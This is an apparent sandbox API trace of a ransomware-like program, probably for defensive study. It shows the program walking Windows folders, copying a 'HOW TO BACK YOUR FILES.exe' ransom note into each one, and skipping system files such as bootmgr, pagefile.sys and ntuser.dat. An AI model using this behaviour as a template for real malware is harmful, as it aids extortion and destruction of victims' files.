	[0040.051] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff981b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.051] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.051] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.051] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.051] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.051] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ff981b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0040.051] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0040.051] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ff981b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0040.051] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0040.052] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ad0
	[0040.052] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS"
	[0040.052] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc960 | out: hHeap=0x580000) returned 1
	[0040.052] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0040.052] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS") returned 39
	[0040.052] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS"
	[0040.052] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.052] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.056] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.056] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ffbe310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ffbe310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0040.056] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.056] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.056] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.056] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ffbe310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ffbe310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.056] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.056] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.056] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.056] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.056] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ffbe310, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ffbe310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0040.056] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0040.056] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1
	[0040.056] lstrcmpiW (lpString1="MachineKeys", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0040.056] lstrcmpiW (lpString1="MachineKeys", lpString2="Apollon865.txt.exe") returned 1
	[0040.056] lstrcmpiW (lpString1="MachineKeys", lpString2=".") returned 1
	[0040.057] lstrcmpiW (lpString1="MachineKeys", lpString2="..") returned 1
	[0040.057] lstrcmpiW (lpString1="MachineKeys", lpString2="windows") returned -1
	[0040.057] lstrcmpiW (lpString1="MachineKeys", lpString2="bootmgr") returned 1
	[0040.057] lstrcmpiW (lpString1="MachineKeys", lpString2="temp") returned -1
	[0040.057] lstrcmpiW (lpString1="MachineKeys", lpString2="pagefile.sys") returned -1
	[0040.057] lstrcmpiW (lpString1="MachineKeys", lpString2="boot") returned 1
	[0040.057] lstrcmpiW (lpString1="MachineKeys", lpString2="ids.txt") returned 1
	[0040.057] lstrcmpiW (lpString1="MachineKeys", lpString2="ntuser.dat") returned -1
	[0040.057] lstrcmpiW (lpString1="MachineKeys", lpString2="perflogs") returned -1
	[0040.057] lstrcmpiW (lpString1="MachineKeys", lpString2="MSBuild") returned -1
	[0040.057] lstrlenW (lpString="MachineKeys") returned 11
	[0040.057] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\*") returned 41
	[0040.057] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="MachineKeys" | out: lpString1="MachineKeys") returned="MachineKeys"
	[0040.057] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0040.057] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x68) returned 0x599a78
	[0040.057] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0040.057] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 0
	[0040.057] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0040.057] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ad0
	[0040.057] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys"
	[0040.057] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599a78 | out: hHeap=0x580000) returned 1
	[0040.057] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0040.057] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys") returned 51
	[0040.057] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys"
	[0040.057] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.057] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss\\machinekeys\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.067] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.067] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ffbe310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ffbe310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0040.067] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.067] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.067] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.067] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ffbe310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ffbe310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.067] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.067] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.067] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.067] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.067] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ffbe310, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ffbe310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0040.068] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0040.068] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ffbe310, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ffbe310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0040.068] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0040.068] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c30
	[0040.068] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Assistance", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance") returned="C:\\Users\\All Users\\Microsoft\\Assistance"
	[0040.068] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc908 | out: hHeap=0x580000) returned 1
	[0040.068] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0040.068] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Assistance") returned 39
	[0040.068] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Assistance" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance") returned="C:\\Users\\All Users\\Microsoft\\Assistance"
	[0040.068] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.068] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\assistance\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.072] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.072] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x2ffe4470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ffe4470, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0040.073] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.073] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.073] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.073] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x2ffe4470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ffe4470, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.073] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.073] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.073] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.073] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.073] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 1
	[0040.073] lstrcmpiW (lpString1="Client", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.073] lstrcmpiW (lpString1="Client", lpString2="Apollon865.txt.exe") returned 1
	[0040.073] lstrcmpiW (lpString1="Client", lpString2=".") returned 1
	[0040.073] lstrcmpiW (lpString1="Client", lpString2="..") returned 1
	[0040.073] lstrcmpiW (lpString1="Client", lpString2="windows") returned -1
	[0040.073] lstrcmpiW (lpString1="Client", lpString2="bootmgr") returned 1
	[0040.073] lstrcmpiW (lpString1="Client", lpString2="temp") returned -1
	[0040.073] lstrcmpiW (lpString1="Client", lpString2="pagefile.sys") returned -1
	[0040.073] lstrcmpiW (lpString1="Client", lpString2="boot") returned 1
	[0040.073] lstrcmpiW (lpString1="Client", lpString2="ids.txt") returned -1
	[0040.073] lstrcmpiW (lpString1="Client", lpString2="ntuser.dat") returned -1
	[0040.073] lstrcmpiW (lpString1="Client", lpString2="perflogs") returned -1
	[0040.073] lstrcmpiW (lpString1="Client", lpString2="MSBuild") returned -1
	[0040.073] lstrlenW (lpString="Client") returned 6
	[0040.073] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Assistance\\*") returned 41
	[0040.073] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="Client" | out: lpString1="Client") returned="Client"
	[0040.073] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0040.073] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5e) returned 0x5c5458
	[0040.073] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0040.073] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ffe4470, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ffe4470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0040.073] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0040.073] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ffe4470, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ffe4470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0040.073] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0040.073] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c30
	[0040.074] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Assistance\\Client", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client"
	[0040.074] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0040.074] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0040.074] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Assistance\\Client") returned 46
	[0040.074] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Assistance\\Client" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client"
	[0040.074] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0040.074] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0040.086] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0040.086] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x2ffe4470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ffe4470, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0040.086] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.086] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0040.086] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0040.086] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x2ffe4470, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ffe4470, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0040.086] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.086] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0040.086] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0040.086] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0040.086] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 1
	[0040.086] lstrcmpiW (lpString1="1.0", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.086] lstrcmpiW (lpString1="1.0", lpString2="Apollon865.txt.exe") returned -1
	[0040.086] lstrcmpiW (lpString1="1.0", lpString2=".") returned 1
	[0040.086] lstrcmpiW (lpString1="1.0", lpString2="..") returned 1
	[0040.086] lstrcmpiW (lpString1="1.0", lpString2="windows") returned -1
	[0040.086] lstrcmpiW (lpString1="1.0", lpString2="bootmgr") returned -1
	[0040.086] lstrcmpiW (lpString1="1.0", lpString2="temp") returned -1
	[0040.086] lstrcmpiW (lpString1="1.0", lpString2="pagefile.sys") returned -1
	[0040.086] lstrcmpiW (lpString1="1.0", lpString2="boot") returned -1
	[0040.086] lstrcmpiW (lpString1="1.0", lpString2="ids.txt") returned -1
	[0040.086] lstrcmpiW (lpString1="1.0", lpString2="ntuser.dat") returned -1
	[0040.086] lstrcmpiW (lpString1="1.0", lpString2="perflogs") returned -1
	[0040.086] lstrcmpiW (lpString1="1.0", lpString2="MSBuild") returned -1
	[0040.086] lstrlenW (lpString="1.0") returned 3
	[0040.087] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\*") returned 48
	[0040.087] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="1.0" | out: lpString1="1.0") returned="1.0"
	[0040.087] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0040.087] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x66) returned 0x599a78
	[0040.087] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
